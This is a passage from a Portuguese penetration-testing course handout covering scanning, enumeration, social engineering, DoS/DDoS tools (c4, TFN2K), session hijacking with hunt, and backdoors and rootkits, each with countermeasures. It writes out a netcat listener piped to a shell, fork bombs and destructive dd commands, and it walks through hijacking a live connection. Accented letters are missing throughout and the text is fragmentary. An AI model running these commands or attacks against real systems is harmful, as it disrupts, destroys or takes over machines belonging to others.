Somando a quantidade de saltos (11) com o valor de ttl (49), temos 60. O mais prximo de 60 64, que representa o Linux. A partir da, podemos concluir que o sistema operacional utilizado no servidor onde o site est hospedado Linux.
Captulo 5 Levantamento de Informaes - 70 /usr/local/etc/xprobe2/xprobe2.conf Execute o xprobe2 na mquina do instrutor para descobrir o sistema operacional: # xprobe2 www.4linux.com.br
Agora tente utilizar o fingerprint sobre uma porta aberta: # xprobe2 -p tcp:80:open 66.118.142.41
Percebe-se que quanto maior o nmero de informaes que passamos para o xprobe2, maior a preciso no reconhecimento do Sistema Operacional do alvo.
5.13. Contramedidas
Configurar as aplicaes instaladas nos servidores, atentando para as informaes que elas exibem durante as requisies. Configurar corretamente as regras de firewall para bloquear
requisies maliciosas. Ter cuidado com as informaes publicadas na WEB. Configurar corretamente o arquivo robot.txt, para que diretrios com arquivos sensveis no sejam indexados pelos sistemas de busca.
Captulo 5 Levantamento de Informaes - 71 4. Utilizando a ferramenta p0f, identifique o sistema operacional de mquinas existentes na rede local
6.1. Objetivos
Entender o que Engenharia Social Entender o Dumpster Diving Entender os riscos associados Engenharia Social Entender as tcnicas de No-Tech Hacking
Captulo 6 Entendendo a Engenharia Social e o No-Tech Hacking - 74 Exemplos: Cavalos de Tria anexados a e-mails E-mails falsos WebSites falsos
6.4.6. Persuaso
Os prprios hackers vem a engenharia social de um ponto de vista psicolgico, enfatizando como criar o ambiente psicolgico perfeito para um ataque. Os mtodos bsicos de persuaso so: personificao, insinuao, conformidade, difuso de responsabilidade e a velha amizade. Independente do mtodo usado, o objetivo principal convencer a pessoa que dar a informao, de que o engenheiro social de fato uma pessoa a quem ela pode confiar as informaes prestadas. Outro fator importante nunca pedir muita informao de uma s vez e sim perguntar aos poucos e para pessoas diferentes, a fim de manter a aparncia de uma relao confortvel.
Captulo 6 Entendendo a Engenharia Social e o No-Tech Hacking - 77 shoulder surfing lock picking tailgating
6.7. Contramedidas
Mantenha protegido, no trabalhe em assuntos privados em locais pblicos. Faa o descarte seguro de documentos. Utilize fechaduras e trancas de boa qualidade e comprovado nvel de segurana. Mantenha bolsas e documentos pessoais em segurana. Teste constantemente seus dispositivos de segurana, cmeras e detectores de movimento. Tenha cuidado com Shoulder Surfer's. Bloqueie o tailgating. Mantenha-se atento aos engenheiros sociais. D treinamento adequado aos funcionrios, principalmente os da rea de segurana.
Captulo 6 Entendendo a Engenharia Social e o No-Tech Hacking - 78 __________________________________________________________________________ __________________________________________________________________________ __________________________________________________________________________ __________________________________________________________________________ __________________________________________________________________________ __________________________________________________________________________ __________________________________________________________________________ __________________________________________________________________________
7.1. Objetivos
Mapear hosts ativos na rede Obter verses dos sistemas operacionais Entender aquisio de banners Identificar os servios em execuo
No caso do nmap, se utilizarmos a opo Ping Scan (-sP), observamos que mesmo se uma mquina estiver bloqueando pacotes ICMP, ele poder list-la como ativa, pois ele tambm envia pacotes TCP para algumas portas, como por exemplo a porta 80.
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 81 Assim, conseguimos a lista de todos os computadores que respondem ping na rede.
De acordo com a imagem, o cliente, que deseja conectar-se a um servidor, envia um pedido de conexo, ou seja, no cabealho do datagrama TCP contm uma flag do tipo SYN. O servidor, que est apto a atender novas requisies responde ento com um datagrama TCP contendo uma flag do tipo SYN+ ACK. O cliente ento responde com um datagrama contendo um ACK, e ento estabelecida a conexo. De acordo com a RFC 793, que define os parmetros para o protocolo TCP, toda porta aberta deve responder com a flag SYN+ACK, e toda porta fechada deve responder com uma flag RST. Para identificar este comportamento, vamos utilizar a ferramenta linha de comando hping3. Verificando o comportamento de um servidor com a porta 80 aberta.
Perceba que as respostas so, SA, que representa um SYN + ACK, e um RA, que representa um Reset + ACK, a resposta padro para portas fechadas.
7.4. Nmap
Nmap pode ser considerada uma das ferramentas mais completas para realizar varreduras em redes, pois possui um nmero imenso de opes, permitindo explorarmos quase todas as possibilidades de varreduras possveis. Essa ferramenta possui, inclusive, opes que permitem burlar sistemas de proteo, como IDS/IPS e Firewall, cujas regras poderiam bloquear ou detectar varreduras no permitidas. Sintaxe: nmap [Scan Type(s)] [Options] {target specification}
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 83 (default) e caso receba RST o alvo est ativo. A terceira tcnica envia um pacote SYN e espera um RST ou SYN-ACK.
7.5.2. -sV
Version detection: Aps as portas TCP e/ou UDP serem descobertas por algum dos mtodos, o nmap ir determinar qual o servio est rodando atualmente. O arquivo nmap-service-probes utilizado para determinar tipos de protocolos, nome da aplicao, nmero da verso e outros detalhes.
7.5.3. -sS
TCP SYN scan: Tcnica tambm conhecida como half-open, pois no abre uma conexo TCP completa. enviado um pacote SYN, como se ele fosse uma conexo real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta est aberta, enquanto que um RST-ACK como resposta indica que a porta est fechada. A vantagem dessa abordagem que poucos iro detectar esse scanning de portas.
7.5.4. -sT
TCP connect() scan: a tcnica mais bsica de TCP scanning. utilizada a chamada de sistema (system call) connect() que envia um sinal as portas ativas. Caso a porta esteja aberta recebe como resposta connect(). um dos scan mais rpidos, porm fcil de ser detectado.
7.5.5. -sU
UDP scan: Este mtodo utilizado para determinar qual porta UDP est aberta em um host. A tcnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se for recebida uma mensagem ICMP port unreachable ento a porta est fechada, seno a porta pode estar aberta. Para variar um pouco, a
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 84 Microsoft ignorou a sugesto da RFC e com isso a varredura de mquinas Windows muito rpida.
7.5.7. -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>
Esse parmetro seta a prioridade de varredura do Nmap: Paranoid (-T0) muito lento na esperana de prevenir a deteco pelo sistema IDS. Este serializa todos os scans (scanning no paralelo) e geralmente espera no mnimo 5 minutos entre o envio de pacotes. Sneaky (-T1) similar ao Paranoid, exceto que somente espera 15 segundos entre o envio de pacotes. Polite (-T2) tem o significado para facilitar a carga na rede e reduzir as chances de travar a mquina. Ele serializa os testes e espera no mnimo
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 85 0.4 segundos entre eles. Normal (-T3) o comportamento default do Nmap, o qual tenta executar to rpido quanto possvel sem sobrecarregar a rede ou perder hosts/portas. Aggressive(-T4) esse modo adiciona um timeout de 5 minutos por host e nunca espera mais que 1.25 segundos para testar as respostas. Insane (-T5) somente adequando para redes muito rpidas ou onde voc no se importa em perder algumas informaes. Nesta opo o timeout dos hosts acontece em 75 segundos e espera somente 0.3 segundos por teste individual.
Opes Interessantes: -p Utilizado para especificar portas -O Mostra a verso do S.O -P0 Desativa ICMP tipo 8 e o TCP ACK na porta 80
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 86 Varreduras baseadas em fim de conexo: #nmap -sF 192.168.0.173
Esta varredura explora o comportamento padro da RFC 792. De acordo com ela, um pacote marcado com a flag FIN deve causar como resposta um pacote com a flag RST para portas que estejam fechadas, e devem ser descartados se a porta estiver aberta. Devido a esta caracterstica, os resultados sero: Open/Filtered: Aberta e/ou filtrada por firewall Closed/Filtered: Fechada e/ou filtrada por firewall Varredura Nula: #nmap -sN 192.168.0.173
Alguns sistemas operacionais que no seguem a RFC estritamente podem dar respostas diferentes do esperado. Sabendo deste comportamento, podemos enviar um pacote sem nenhum contedo e ento observar a resposta do alvo. As respostas podem variar de sistema operacional para sistema operacional, mas geralmente recebemos: Open/Filtered: Aberta e/ou filtrada por firewall Closed: Fechada Varredura para identificao de firewalls: #nmap -sA 192.168.0.173
O objetivo desta varredura mapear as regras de um firewall para determinar se o mesmo faz tratamento completo de conexo ou no.
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 87 Os nicos resultados neste tipo de varredura so: Filtered: A porta est protegida por firewall Unfiltered: A porta no est protegida por firewall
7.7. Tunelamento
O tunelamento, basicamente, a tcnica de encapsular conjuntos de dados que trafegam em rede dentro de outro conjunto de dados, de forma que a rota que os primeiros iam tomar seja conduzida para um lugar ou de uma maneira que sem o encapsulamento eles no poderiam fazer.
Existem vrios motivos pelos quais se pode querer implementar um tnel: Proteger dados atravs de uma conexo criptografada no suportada localmente; Realizar uma conexo cujo protocolo seria bloqueado no fosse o uso do tnel; Conectar-se a um destino bloqueado para conexo direta; Conectar-se a uma mquina de rede interna como se fosse de dentro para fora; Mascaramento de IP. Existem diversos aplicativos que nos permitem abrir tneis manualmente. Como o tunelamento pode possuir diferentes formas e funes, os aplicativos naturalmente funcionando de maneiras e sob condies diferentes. Alguns deles foram projetados especificamente para tunelar conexes, enquanto outros podem ter mais de uma funo ou mesmo ser um canivete suo do TCP/IP. Os aplicativos que podemos utilizar aqui so:
Captulo 7 Varreduras ativas, passivas e furtivas de rede - 88 Netcat (canivete suo TCP/IP); OpenSSH (shell remoto/tnel criptogrfico); Httptunnel (tnel http para atravessar firewalls); Corkscrew (tunela SSH em http para atravessar firewalls).
Abra trs terminais. A idia que um primeiro terminal vai escutar em uma porta de forma regular, um segundo vai abrir um tnel de uma porta arbitrria at a porta em que o servidor do primeiro terminal estiver escutando e o terceiro terminal vai se conectar, tambm de maneira regular, porta arbitrria do tunel que levar essa conexo at a sua sada no servio do primeiro terminal. T1 (servidor): $ nc -l -vv 1026 | /bin/bash T2 (tnel) : $ nc -l -vv 1025 | nc localhost 1026 T3 (cliente): $ nc localhost 1025
7.9. Anonymizer
Os programas de anonymizer funcionam basicamente para ocultar seus dados enquanto navega na internet. Normalmente a aplicao utilizada para isso um proxy, que aps configurado, permite que seu IP seja mascarado, fornecendo o dele como IP real. Com isso, possvel proteger o contedo de e-mails, textos de softwares de mensagens instantneas, IRC e outros aplicativos que usam o protocolo TCP. Uma boa ferramenta para utilizarmos mantendo nossos dados de navegao protegidos, o TOR The Onion Router. O programa foi desenvolvido pelo Laboratrio Central da Marinha para Segurana de Computadores, com a ajuda da Darpa (www.darpa.mil), a agncia criada no auge da guerra fria com o objetivo de transformar os Estados Unidos em uma superpotncia tecnolgica. Para quem no se lembra, foi a Darpa (na poca sem o D) quem coordenou os estudos para a construo de uma rede descentralizada de computadores, capaz de resistir a qualquer ataque localizado. Foi assim que nasceu a Arpanet, o embrio do que hoje chamamos internet. O Tor andava meio esquecido, at que a Electronic Frontier Foundation, uma entidade civil que se destaca pelo vigor com que combate nos tribunais os abusos governamentais contra os direitos individuais, decidiu apoiar politicamente o projeto e contribuir financeiramente para que ele cresa, fique forte e consiga deixar cada vez mais gente invisvel. Outro programa, que trabalha junto com o TOR, o privoxy, que evita o envio de qualquer dado enviado pelo navegado alcance a intranet, bloqueando-os no caminho. Isso evita que atravs desses dados, qualquer informao do internauta seja capturada, e sua localizao descoberta. TOR The Onion Router http://www.torproject.org/ Privoxy http://www.privoxy.org
7.11. Contramedidas
Manter regras de firewall bem configuradas, evitando que determinados tipos de varredura possam ser realizadas. No permitir que usurios na rede tenham acesso s configuraes do navegador para configurar proxys. Manter IDS's instalados e bem configurados, observando sempre seus logs e relatrios.
8.1. Objetivos
Mapear a rede Descobrir servios e verses sendo executadas na rede
8.2. Enumerao
As tcnicas de enumerao so utilizadas como um complemento s fases de fingerprint e varredura. O objetivo descobrir servios e verses que esto sendo executados no sistema alvo, facilitando a posterior pesquisa de vulnerabilidades e exploits especficos. Quanto mais informaes tivermos sobre nosso alvo, mais fcil ser para encontrarmos vulnerabilidades e melhorarmos nossos vetores de ataque. Sabendo os servios rodando e as verses dos mesmos, torna-se possvel encontrarmos os exploits corretos e as vulnerabilidades que podero ser exploradas. Alm disso, na fase de enumerao, mapeameos toda a rede do alvo, descobrindo os pontos falhos e onde podemos explorar para conseguir acesso a informaes estratgicas.
Obtendo banner de um servidor de e-mail: #telnet 192.168.200.205 25 HELO [domnio] MAIL FROM: [endereo_origem] RCPT TO: [endereo_destino] DATA ( ... msg ... ) . quit
Com o comando telnet, podemos tentar conectar em todas as portas existentes para verificar o que est sendo executado. Obviamente que esse um mtodo lento e impossvel de ser executado nas mais de 65000 portas existentes, mas interessante conhec-lo, e ainda evita a deteco por IDS ou firewall.
8.3.2. Ferramentas
Nmap Realiza varredura de rede, buscando hosts ativos, portas abertas e servios sendo executados. Xprobe2 Analisa banners de sistemas operacionais, comparando com um banco de dados interno, onde compara-os e informa o S.O. utilizado e a verso do mesmo. Amap Analiza banners de servios que esto sendo executados, e informa o nome e
Captulo 8 Enumerao de informaes e servios - 94 verso. AutoScan Faz varredura na rede e informa hosts ativos, portas abertas e servios sendo executados. Funciona atravs de uma interface grfica. Maltego Faz varredura de redes, servios, protocolos, domnios e vrias outras opes, informando de forma grfica a relao entres os hosts ativos. Lanmap Varre toda a rede e captura pacotes, criando ao longo de sua execuo um arquivo .PNG com o mapa da rede, informando graficamente a relao das mquinas encontradas. Cheops Varre toda a rede em busca de hosts ativos, informando graficamente, atravs de um mapa, os hosts ativos, S.O. sendo executado, portas abertas, servios sendo executados. Utiliza o nmap por debaixo de sua execuo, para realizar as varreduras. Nessus Atravs de plugins especficos, varre um determinado alvo, informando as vulnerabilidades encontradas, inclusive exibindo o link de onde podemos encontrar mais informaes sobre determinada vulnerabilidade e seu exploit.
8.4. Prtica dirigida 8.4.1. Capturando banner de aplicaes (de forma ativa)
1 - A partir da sintaxe abaixo, utilizando os programas Nmap, Xprobe2 e Amap, faa o reconhecimento dos servios e sistemas operacionais rodando nas mquinas da rede alvo, e compare os resultados de cada programa.
Captulo 8 Enumerao de informaes e servios - 95 nmap -sV -O [ip_alvo] Xprobe2 p TCP:80:open <ip> Amap <ip> <porta>
ferramentas existentes no Backtrack 4 que permitem mapear a rede graficamente. Algumas rodam em linha de comando, como o Lanmap, por exemplo, e outras possuem uma interface grfica, que facilita a operao, como o Cheops e Maltego.
8.5.2. AutoScan
8.5.3. Maltego
#/opt/nessus/sbin/nessus-adduser
Captulo 8 Enumerao de informaes e servios - 99 Para definirmos os vetores, e coloc-los em um mapa grfico que facilite sua visualizao e compreenso, vamos utilizar uma tcnica chamada mapas mentais, desenvolvida para facilitar a reunio de informaes de forma resumida de condensada em um mapa grfico, e posterior compreenso das mesmas sem perder seu principal significado e contedos. Vamos utilizar um programa especfico para isso, e com a reunio das informaes conseguidas at o momento, definirmos os vetores de ataque. Devemos atentar que, ao longo do curso, novos vetores sero acrescentados e alterados, de acordo com a evoluo de nosso contedo. Vejamos abaixo um exemplo de mapa mental com vetores de ataque definidos:
2. Utilizando as informaes reunidas at o momento, vamos definir os vetores de ataque, classific-los e criar um mapa mental com os mesmos. 3. Acrescente isso ao relatrio.
8.10. Contramedidas
Como a maioria das varreduras e aplicativos de mapeamento utilizam flags de conexo, uma boa configurao de regras do firewall j bloqueia a maiorias das tentativas de varreduras. Manter IDS/IPS bem configurados para detectar e bloquear IPs que realizam tentativas de varreduras. Realizar constantemente auditorias nas regras de IDS/IPS e firewalls, testando se os mesmos podem ser burlados e como. E a partir disso, criar e/ou adaptar regras.
9.1. Objetivos
Entender como ocorrem ataques de negao de servio Entender o que DoS, DDoS, e DRDoS Entender o que e como realizar sequestro de sesso
9.3. DoS
De acordo com a definio do CERT (Computer Emergency Response Team), os ataques DoS (Denial of Service), tambm denominados Ataques de Negao de Servios, consistem em tentativas de impedir usurios legtimos de utilizarem um determinado servio de um computador. Para isso, so usadas tcnicas que podem: sobrecarregar uma rede a tal ponto em que os verdadeiros usurios dela no consigam us-la; derrubar uma conexo entre dois ou mais computadores; fazer tantas requisies a um site at que este no consiga mais ser acessado; negar acesso a um sistema ou a determinados usurios. Explicando de maneira ilustrativa, imagine que voc usa um nibus regularmente para ir ao trabalho. No entanto, em um determinado dia, uma quantidade enorme de pessoas "furaram a fila" e entraram no veculo, deixando-o to lotado que voc e os outros passageiros regulares no conseguiram entrar. Ou ento, imagine que voc tenha conseguido entrar no nibus, mas este ficou to cheio que no conseguiu sair do lugar por excesso de peso. Este nibus acabou negando o seu servio - o de transport-lo at um local -, pois recebeu mais solicitaes - neste caso, passageiros - do que suporta. importante frisar que quando um computador/site sofre ataque DoS, ele no invadido, mas sim, tem apenas o servio parado. Os ataques do tipo DoS mais comuns podem ser feitos devido a algumas caractersticas do protocolo TCP/IP (Transmission Control Protocol / Internet Protocol), sendo possvel ocorrer em qualquer computador que o utilize. Uma das formas de ataque mais conhecidas a SYN Flooding, onde um computador tenta estabelecer uma conexo com um servidor atravs de um sinal do TCP conhecido por SYN (Synchronize). Se o servidor atender ao pedido de conexo, enviar ao computador solicitante um sinal chamado ACK (Acknowledgement). O problema que em ataques desse tipo, o servidor no consegue responder a todas as solicitaes
Captulo 9 Testando o sistema - 104 e ento passa a recusar novos pedidos. Outra forma de ataque comum o UPD Packet Storm, onde um computador faz solicitaes constantes para que uma mquina remota envie pacotes de respostas ao solicitante. A mquina fica to sobrecarregada que no consegue executar suas funes. No so apenas grande quantidades de pacotes geradas que podem causar um ataque de negao de servio. Problemas em aplicativos tambm podem gerar. Ping da Morte
Em Linux: $ :(){ :|:& };: $ dd if=/dev/zero of=/var/spool/mail/meu_usuario $ perl e 'while (1) { fork(); open $fh, </proc/meminfo; open $hf, >/tmp/bla; }' $ dd if=/dev/urandom of=/dev/mem $ perl -e 'fork while fork'
O C4 uma ferramenta que gera ataques de DoS em redes locais com SYN Flood . Vamos conhec-la um pouco mais, digitando no terminal: $./c4 Com esse comando, teremos como retorno a sintaxe e a explicao resumida dos parmetros e opes do comando c4. A sintaxe correta para um ataque de SYN Flood com o c4 contra um host especfico : Sintaxe: ./c4 -h [ip_alvo] E alguns dos parmetros existentes so: Parmetros: -h destination ip/host -p destination port range [start,end] -t attack timeout -l % of box link to use (defaults to random ) (defaults to forever) (defaults to 100% )
Vamos formar duplas e realizar ataques de DoS na mquina do companheiro de exerccio. Cuidado, pois esse ataque pode travar a mquina do companheiro e at mesmo a sua!
9.4. DDoS
O DDoS, sigla para Distributed Denial of Service, um ataque DoS ampliado, ou seja, que utiliza at milhares de computadores para atacar um determinado alvo.
Captulo 9 Testando o sistema - 106 Esse um dos tipos mais eficazes de ataques e j prejudicou sites conhecidos, tais como os da CNN, Amazon, Yahoo, Microsoft e eBay. Para que os ataques do tipo DDoS sejam bem-sucedidos, necessrio que se tenha um nmero grande de computadores para fazerem parte do ataque. Uma das melhores formas encontradas para se ter tantas mquinas, foi inserir programas de ataque DDoS em vrus ou em softwares maliciosos. Em um primeiro momento, os hackers que criavam ataques DDoS tentavam "escravizar" computadores que agiam como servidores na internet. Com o aumento na velocidade de acesso internet, passou-se a existir interesse nos computadores dos usurios comuns com acesso banda larga, j que estes representam um nmero muito grande de mquinas na internet. Para atingir a massa, isto , a enorme quantidade de computadores conectados internet, vrus foram e so criados com a inteno de disseminar pequenos programas para ataques DoS. Assim, quando um vrus com tal poder contamina um computador, este fica disponvel para fazer parte de um ataque DoS e o usurio dificilmente fica sabendo que sua mquina est sendo utilizado para tais fins. Como a quantidade de computadores que participam do ataque grande, praticamente impossvel saber exatamente qual a mquina principal do ataque. Quando o computador de um internauta comum infectado com um vrus com funes para ataques DoS, este computador passa a ser chamado de zumbi. Aps a contaminao, os zumbis entram em contato com mquinas chamadas de mestres, que por sua vez recebem orientaes (quando, em qual site/computador, tipo de ataque, entre outros) de um computador chamado atacante. Aps receberem as ordens, os computadores mestres as repassam aos computadores zumbis, que efetivamente executam o ataque. Um computador mestre pode ter sob sua responsabilidade at milhares de computadores. Repare que nestes casos, as tarefas de ataque DoS so distribudas a um "exrcito" de mquinas escravizadas. Da que surgiu o nome Distributed Denial of Service. A imagem abaixo ilustra a hierarquia de computadores usadas em ataques DDoS (alm de ilustrar tambm um ataque DoS e DRDos.
Como exemplo real de ataques DDoS ajudados por vrus, tem-se os casos das pragas digitais Codered, Slammer e MyDoom. Existem outros, mas estes so os que conseguiram os maiores ataques j realizado.
TFN2K Esta foi a primeira ferramenta de ataque DDoS disponvel publicamente. O TFN foi escrito por Mixter. Os ataques efetuados pelo TFN so: UDP Flooding; TCP SYN Flooding; ICMP Flooding; e Smurf Attack.
Vamos testar, formando grupos de quatro, a utilizao do TFN2K para realizar um ataque de negao de servios; onde um ser o alvo, dois os slaves e um o master, que controla o ataque. Cada um do grupo ir revezar de papel com os outros, fazendo um rodzio. O controle dos mestres feito por linha de comando, e a execuo do programa deve ser acompanhada dos parmetros desejados com a sintaxe: Sintaxe: tfn <iplist> <type> [ip] [port] Onde: <iplist> a lista dos agentes que podem ser utilizados; <type> o tipo de ataque desejado; [ip] o endereo da vtima; e [port] a porta desejada para ataques TCP SYN flooding, que pode ser definida como um nmero aleatrio (parmetro 0). O TFN bastante "discreto". A comunicao entre os mestres e os agentes feita por mensagens ICMP tipo 0, o que torna difcil o monitoramento dessas comunicaes, pois muitas ferramentas de monitoramento no analisam o campo de dados de mensagens ICMP.
Captulo 9 Testando o sistema - 109 banda que a vitima. Como a vitima tentar responder aos pedidos, ir consumir a sua largura de banda impossibilitando-a responder a pedidos de outros utilizadores. As nicas maneiras de proteger deste tipo de ataque limitando o trfego do ping na sua totalidade ou apenas limitando o trfego de pacotes ICMP Echo Request com um tamanho menos elevado.
ACK(acknowledge) de volta ao cliente. O cliente por sua vez responde com um ACK, e a conexo est estabelecida. Isto o chamado aperto de mo em trs etapas (Three-Way Handshake).
Um cliente malicioso pode no mandar esta ltima mensagem ACK. O servidor ir esperar por isso por um tempo, j que um simples congestionamento de rede pode ser a causa do ACK faltante. Esta chamada conexo semi-aberta pode ocupar recursos no servidor ou causar prejuzos para empresas usando softwares licenciados por conexo. Pode ser possvel ocupar todos os recursos da mquina, com pacotes SYN. Uma vez que todos os recursos estejam ocupados, nenhuma nova conexo (legtima ou no) pode ser feita, resultando em negao de servio. Alguns podem funcionar mal ou at mesmo travar se ficarem sem recursos desta maneira. Ao contrrio do que muitos pensam, no resolve ataque negao de servio por Syn flood limitando a quantidade de conexes por minuto (como usar o mdulo limit ou recent do iptables), pois as conexes excedentes seriam descartadas pelo firewall, sendo que desta forma o prprio firewall tiraria o servio do ar. Se eu, por exemplo, limito as conexes SYN a 10/seg, um atacante precisa apenas manter uma taxa de SYNs superior a 10/s para que conexes legtimas sejam descartadas pelo firewall. O firewall tornou a tarefa do atacante ainda mais fcil. Um ataque de Syn Flood feito com os IPs forjados (spoof), para que o atacante no receba os Syn-
9.6. Recomendaes
sugerido que o Pen-tester seja cauteloso com o uso desse tipo de ataque ou de ferramentas que possam causar uma negao de servio. Exceto em casos que o cliente solicite tal tipo de ataque, no devemos realizar esse ataque, pois pode prejudicar os negcios da empresa.
Captulo 9 Testando o sistema - 113 Para conhecermos essa interessante ferramenta, vamos instal-la para testar suas funcionalidades: #aptitude install hunt Atravs das opes existentes no menu da ferramenta, vamos navegar entre eles para conhecer as opes existentes e testar algumas funcionalidades. Vamos testar algumas dessas ferramentas na rede alvo para ver o que conseguimos. Para iniciar o hunt, para executarmos o comando: #hunt
Onde: O -> o prompt do shell do hunt. l/w/r) list/watch/reset connections - Lista as conexes ativas (L), assiste a uma conexo (W) e encerra uma conexo (R). a) arp/simple hijack (avoids ack storm if arp used) - essa ser a ltima opo que usaremos. Essa opo para ser usada caso sua rede for segmentada por switch, pois ela permite Arp Poisoning.
Captulo 9 Testando o sistema - 114 s) simple hijack para realizar o sequestro de sesso no caso de sua rede no ser segmentada. o) options - onde iremos configurar tudo para iniciar o hijacking. x) exit essa opo usaremos para sair da configurao do hunt. Para iniciarmos a configurao dos parmetros necessrios para nosso ataque, escolhemos a opo o, e a seguinte tela ser exibida:
Dentro dessa tela, utilizaremos a opo a/m/d) add/mod/del conn policy entry, onde vamos definir as regras de conexo, ou seja vamos configurar aqui o que o hunt farejar. Por hora, vamos utilizar a opo a para fazer a configurao necessria. O hunt pedir a partir de qual endereo voc deseja sniffar as conexes (a origem dos pacotes). E logo depois o endereo de destino dos pacotes que deseja capturar com o hunt. Configure corretamente, informando o IP de origem e de destino dos pacotes que deseja capturar. Se deixarmos no IP de origem o endereo 0.0.0.0/0, ele vai capturar os pacotes vindos de qualquer lugar da rede, para o IP de destino configurado. Na terceira ele pedir um INSERT AT, apenas tecle enter, deixando a opo padro. Essa opo simplesmente para definir em qual posio da lista nossa regra aparecer. Depois disso digitamos x para voltarmos ao menu principal...
Captulo 9 Testando o sistema - 115 Digitamos L para listar as conexes ativas. importante que aguardemos um pouco, porque pode demorar at que todas as conexes sejam exibidas. Podemos ainda, usar a opo W para sniffar as conexes. Escolhendo a opo L na shell, vemos que algumas mquinas esto trocando dados com o IP de destino configurado. Ento, usamos a opo S do menu principal, que o simple hijacking. O hunt pedir qual conexo deseja sequestrar, e elas viro numeradas. Basta escolher pela ordem numrica a conexo. Voc pode perceber, ento, que at agora no aconteceu nada, estamos apenas sniffando a conexo, mas quando pressionamos CTRL + C aparecer a mensagem: press any key>
Quando pressionarmos qualquer tecla, o sequestro est realizado e estaremos em modo interativo na conexo. como se tomssemos a identidade do CLIENTE,e o SERVIDOR continuar recebendo dados, agora vindos de nossa mquina! O CLIENTE de repente percebe que os comandos simplesmente no esto funcionando, mas no aparece nenhuma mensagem de erro, simplesmente o que o CLIENTE digitar como um ls no far nenhum efeito. Sequestrada a conexo, poderemos fazer o que quisermos com o SERVIDOR. Quando tudo estiver terminado, basta dar um CTRL+C para sair. Mas a vem a pergunta, e se minha rede possuir SWITCH? bem simples, vamos seguir os passos: Faa a mesma coisa que fizemos acima, configurando o que o hunt monitorar, liste as conexes, no menu principal use a opo d para listar os daemons do hunt e selecione a opo "A" de arp spoof. O hunt pedir para configurarmos os endereos IP de origem e destino pelos quais queremos fazer ARP Spoofing, e depois digite "S" para iniciar o Daemon.
Captulo 9 Testando o sistema - 116 Essa parte pode demorar bastante, mas basta ter calma. Aps terminar tudo, volte ao menu principal e apenas digite A de arp/simple hijack. Escolha a conexo desejada e o resto vocs j sabem :-)
9.9. Contramedidas
Infelizmente no existe muito o que fazer para prevenir esse tipo de ataque, quando estamos falando de ataques que envolvem inundao de pacotes. Normalmente, vence quem tem mais link! Porm, DoS causados por falhas em aplicaes podem ser evitadas com treinamento sobre programao segura para os programadores. Apesar de no existir nenhum meio que consiga impedir totalmente um ataque DoS, possvel detectar a presena de ataques ou de computadores (zumbis) de uma rede que esto participando de um DDoS. Para isso, basta observar se est havendo mais trfego do que o normal (principalmente em casos de sites, seja ele um menos conhecido, seja ele um muito utilizado, como o Google.com), se h pacotes TCP e UDP que no fazem parte da rede ou se h pacotes com tamanho acima do normal. Outra dica importante utilizar softwares de IDS (Intrusion Detection System Sistema de Identificao de Intrusos). Para preveno, uma das melhores armas verificar as atualizaes de segurana dos sistemas operacionais e softwares utilizados pelos computadores. Muitos vrus aproveitam de vulnerabilidades para efetuar contaminaes e posteriormente usar a mquina como zumbi. Tambm importante filtrar certos tipos de pacotes na rede e desativar servios que no so utilizados.
10.1. Objetivos
Entender a diferena entre vrus e worms Entender o funcionamento das backdoors Entender as funcionalidades do trojan Entender o conceito de rootkit
10.2. Backdoor
As backdoors so programas destinados a fornecer um meio de acesso remoto ao hacker a uma mquina que provavelmente teve sua segurana comprometida por ele anteriormente. Normalmente, esses programas abrem uma porta no computador atacado, e nessa porta tem o servidor do hacker escutando, apenas esperando o hacker se conectar nela para dar total acesso ao computador. Mas, como esse mtodo ficou fcil de ser detectado, pois com uma simples varredura por portas abertas na mquina entregaria o hacker, novas tcnicas mais avanadas tem surgido, tais como backdoors que no abrem portas, mas sim ficam ouvindo portas j abertas na mquina, e ento quando detectam um tipo especfico de dado previamente estabelecido chegando nessa porta, a backdoor j sabe que o hacker que est querendo se conectar ao alvo e ento, lana uma conexo para o computador do hacker. Esse tipo de backdoor conhecido por Non-listen Backdoor. Tambm podemos ter backdoors implantadas propositalmente em programas pelos programadores. Existem diversos casos onde foram descobertas maneiras de acessar um programa atravs de um login ou comando que no estava documentado.
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 120 Os cavalos de tria dos computadores so programas que aparentemente funcionam normais, mas na verdade eles acabam realizando outra tarefa sem que o usurio tome conhecimento. Um exemplo disso quando recebemos um email contendo um jogo anexado. Quando rodamos o jogo, conseguimos jogar normalmente, mas na verdade, alem do jogo, pode estar sendo executados outros programas em conjuntos para dar acesso ao seu computador a um possvel atacante quando voc se conectar internet ou ento, voc pode ter informaes roubadas e enviadas por email para o atacante ou onde for a imaginao do hacker. Um exemplo de um cavalo de tria quando um hacker altera um arquivo do computador para se esconder ou esconder os seus arquivos dentro da maquina invadida. Isso pode ser feito alterando o programa responsvel por listar os arquivos dentro de um diretrio ou ento alterando o programa responsvel por mostrar todas as conexes ativas ao computador para o administrador. Um hacker, quando ataca uma mquina, provavelmente ele ir instalar um conjunto de ferramentas formadas por trojans e backdoor, para se esconder e garantir o acesso futuro a maquina que foi invadida. Esse conjunto de ferramenta conhecido por Rootkit.
10.4. Rootkits
Rootkit um conjunto de ferramentas que tem como objetivo ofuscar determinadas ocorrncias do sistema em que se encontra. Normalmente um rootkit constitudo por trojans e backdoors. Temos dois principais tipos de rootkits: User-land Os binrios originais so alterados por binrios modificados, alterando o fluxo normal do programa; Primeiramente executado o cdigo do rootkit e s ento realizada a funcionalidade real do programa.
